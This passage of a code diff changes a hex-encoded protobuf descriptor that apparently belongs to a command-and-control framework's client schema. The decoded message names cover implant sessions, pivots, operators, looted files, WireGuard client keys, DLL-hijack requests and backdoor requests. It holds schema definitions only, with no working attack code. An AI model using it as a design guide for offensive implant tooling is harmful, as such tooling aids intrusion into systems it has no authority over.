0x52, 0x06, 0x50, 0x65, 0x65, + 0x72, 0x49, 0x44, 0x12, 0x2b, 0x0a, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, + 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, + 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x35, 0x0a, 0x08, 0x43, 0x68, 0x69, 0x6c, 0x64, 0x72, 0x65, 0x6e, + 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x45, 0x6e, 0x74, 0x72, + 0x79, 0x52, 0x08, 0x43, 0x68, 0x69, 0x6c, 0x64, 0x72, 0x65, 0x6e, 0x22, 0x43, 0x0a, 0x0a, 0x50, + 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x12, 0x35, 0x0a, 0x08, 0x43, 0x68, 0x69, + 0x6c, 0x64, 0x72, 0x65, 0x6e, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, + 0x68, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x43, 0x68, 0x69, 0x6c, 0x64, 0x72, 0x65, 0x6e, + 0x22, 0x5c, 0x0a, 0x06, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, + 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2e, + 0x0a, 0x08, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x72, + 0x61, 0x74, 0x6f, 0x72, 0x52, 0x08, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x22, 0xc3, + 0x01, 0x0a, 0x05, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x12, 0x1c, 0x0a, 0x09, 0x45, 0x76, 0x65, 0x6e, + 0x74, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x45, 0x76, 0x65, + 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, + 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x07, 0x53, 0x65, 0x73, 0x73, + 0x69, 0x6f, 0x6e, 0x12, 0x1f, 0x0a, 0x03, 0x4a, 0x6f, 0x62, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4a, 0x6f, 0x62, 0x52, + 0x03, 0x4a, 0x6f, 0x62, 0x12, 0x28, 0x0a, 0x06, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x18, 0x04, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x52, 0x06, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x12, 0x12, + 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, + 0x74, 0x61, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x03, 0x45, 0x72, 0x72, 0x22, 0x36, 0x0a, 0x08, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, + 0x12, 0x16, 0x0a, 0x06, 0x4f, 0x6e, 0x6c, 0x69, 0x6e, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x06, 0x4f, 0x6e, 0x6c, 0x69, 0x6e, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x74, 0x0a, 0x0a, + 0x57, 0x65, 0x62, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x61, + 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x50, 0x61, 0x74, 0x68, 0x12, 0x20, + 0x0a, 0x0b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, + 0x12, 0x16, 0x0a, 0x04, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x42, 0x02, + 0x30, 0x01, 0x52, 0x04, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x43, 0x6f, 0x6e, 0x74, + 0x65, 0x6e, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x43, 0x6f, 0x6e, 0x74, 0x65, + 0x6e, 0x74, 0x22, 0xc1, 0x01, 0x0a, 0x11, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, + 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x45, 0x0a, 0x08, + 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x29, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, + 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x2e, 0x43, 0x6f, 0x6e, 0x74, + 0x65, 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x43, 0x6f, 0x6e, 0x74, 0x65, + 0x6e, 0x74, 0x73, 0x1a, 0x51, 0x0a, 0x0d, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, + 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x57, 0x65, 0x62, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x52, 0x05, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x40, 0x0a, 0x14, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, + 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, - 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x26, - 0x0a, 0x05, 0x53, 0x74, 0x61, 0x74, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x10, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x74, 0x65, 0x73, 0x52, - 0x05, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x2c, 0x0a, 0x11, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, - 0x74, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x04, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x11, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4a, - 0x6f, 0x62, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x73, 0x53, 0x79, 0x6e, 0x63, 0x69, 0x6e, - 0x67, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x49, 0x73, 0x53, 0x79, 0x6e, 0x63, 0x69, - 0x6e, 0x67, 0x12, 0x33, 0x0a, 0x07, 0x53, 0x79, 0x6e, 0x63, 0x69, 0x6e, 0x67, 0x18, 0x06, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, - 0x72, 0x61, 0x63, 0x6b, 0x53, 0x79, 0x6e, 0x63, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x52, 0x07, - 0x53, 0x79, 0x6e, 0x63, 0x69, 0x6e, 0x67, 0x22, 0xa9, 0x01, 0x0a, 0x0f, 0x43, 0x72, 0x61, 0x63, - 0x6b, 0x53, 0x79, 0x6e, 0x63, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x53, - 0x70, 0x65, 0x65, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x02, 0x52, 0x05, 0x53, 0x70, 0x65, 0x65, - 0x64, 0x12, 0x43, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x18, 0x02, 0x20, - 0x03, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, - 0x72, 0x61, 0x63, 0x6b, 0x53, 0x79, 0x6e, 0x63, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x2e, 0x50, - 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x50, 0x72, - 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x1a, 0x3b, 0x0a, 0x0d, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, - 0x73, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, - 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x02, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, - 0x02, 0x38, 0x01, 0x22, 0xc9, 0x01, 0x0a, 0x0e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x42, 0x65, 0x6e, - 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, + 0x6d, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x50, 0x61, 0x74, 0x68, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, + 0x09, 0x52, 0x05, 0x50, 0x61, 0x74, 0x68, 0x73, 0x22, 0xad, 0x01, 0x0a, 0x07, 0x57, 0x65, 0x62, + 0x73, 0x69, 0x74, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x3b, 0x0a, 0x08, 0x43, 0x6f, 0x6e, 0x74, + 0x65, 0x6e, 0x74, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1f, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x2e, 0x43, 0x6f, + 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x43, 0x6f, 0x6e, + 0x74, 0x65, 0x6e, 0x74, 0x73, 0x1a, 0x51, 0x0a, 0x0d, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, + 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, + 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x52, 0x05, 0x76, + 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x39, 0x0a, 0x08, 0x57, 0x65, 0x62, 0x73, + 0x69, 0x74, 0x65, 0x73, 0x12, 0x2d, 0x0a, 0x08, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, + 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x08, 0x57, 0x65, 0x62, 0x73, 0x69, + 0x74, 0x65, 0x73, 0x22, 0xa0, 0x01, 0x0a, 0x0e, 0x57, 0x47, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x22, 0x0a, 0x0c, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, + 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x53, 0x65, + 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x10, 0x43, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x69, 0x76, + 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x22, 0x0a, 0x0c, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x43, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x12, 0x1a, 0x0a, 0x08, 0x43, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x49, 0x50, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x43, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x49, 0x50, 0x22, 0xba, 0x01, 0x0a, 0x04, 0x4c, 0x6f, 0x6f, 0x74, 0x12, + 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, + 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, + 0x61, 0x6d, 0x65, 0x12, 0x2e, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x54, + 0x79, 0x70, 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x4f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, + 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x4f, 0x72, 0x69, + 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x53, + 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x04, 0x53, 0x69, 0x7a, 0x65, 0x12, + 0x22, 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, + 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x04, 0x46, + 0x69, 0x6c, 0x65, 0x22, 0x2d, 0x0a, 0x07, 0x41, 0x6c, 0x6c, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x22, + 0x0a, 0x04, 0x4c, 0x6f, 0x6f, 0x74, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x52, 0x04, 0x4c, 0x6f, + 0x6f, 0x74, 0x22, 0x45, 0x0a, 0x03, 0x49, 0x4f, 0x43, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x61, 0x74, + 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x50, 0x61, 0x74, 0x68, 0x12, 0x1a, 0x0a, + 0x08, 0x46, 0x69, 0x6c, 0x65, 0x48, 0x61, 0x73, 0x68, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x08, 0x46, 0x69, 0x6c, 0x65, 0x48, 0x61, 0x73, 0x68, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x22, 0x27, 0x0a, 0x0d, 0x45, 0x78, 0x74, + 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x12, 0x16, 0x0a, 0x06, 0x4f, 0x75, + 0x74, 0x70, 0x75, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x4f, 0x75, 0x74, 0x70, + 0x75, 0x74, 0x22, 0xdf, 0x02, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x48, + 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, + 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, + 0x55, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, + 0x55, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x4f, 0x53, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x4f, 0x53, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, + 0x6e, 0x12, 0x21, 0x0a, 0x04, 0x49, 0x4f, 0x43, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, + 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x4f, 0x43, 0x52, 0x04, + 0x49, 0x4f, 0x43, 0x73, 0x12, 0x47, 0x0a, 0x0d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, + 0x6e, 0x44, 0x61, 0x74, 0x61, 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x21, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x2e, 0x45, 0x78, 0x74, 0x65, + 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0d, + 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x12, 0x16, 0x0a, + 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x4c, + 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x46, 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, + 0x6e, 0x74, 0x61, 0x63, 0x74, 0x18, 0x07, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x46, 0x69, 0x72, + 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x1a, 0x59, 0x0a, 0x12, 0x45, 0x78, 0x74, + 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, + 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, + 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, + 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, + 0x3a, 0x02, 0x38, 0x01, 0x22, 0x30, 0x0a, 0x08, 0x41, 0x6c, 0x6c, 0x48, 0x6f, 0x73, 0x74, 0x73, + 0x12, 0x24, 0x0a, 0x05, 0x48, 0x6f, 0x73, 0x74, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, + 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x52, + 0x05, 0x48, 0x6f, 0x73, 0x74, 0x73, 0x22, 0xf3, 0x01, 0x0a, 0x0c, 0x44, 0x6c, 0x6c, 0x48, 0x69, + 0x6a, 0x61, 0x63, 0x6b, 0x52, 0x65, 0x71, 0x12, 0x2a, 0x0a, 0x10, 0x52, 0x65, 0x66, 0x65, 0x72, + 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x10, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x50, + 0x61, 0x74, 0x68, 0x12, 0x26, 0x0a, 0x0e, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x63, + 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x54, 0x61, 0x72, + 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x0a, 0x0c, 0x52, + 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x0c, 0x52, 0x0c, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x12, + 0x1c, 0x0a, 0x09, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x44, 0x4c, 0x4c, 0x18, 0x04, 0x20, 0x01, + 0x28, 0x0c, 0x52, 0x09, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x44, 0x4c, 0x4c, 0x12, 0x20, 0x0a, + 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x05, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, + 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x3b, 0x0a, 0x09, + 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, + 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, + 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x78, 0x0a, 0x0b, 0x42, 0x61, 0x63, + 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x52, 0x65, 0x71, 0x12, 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, + 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, + 0x50, 0x61, 0x74, 0x68, 0x12, 0x20, 0x0a, 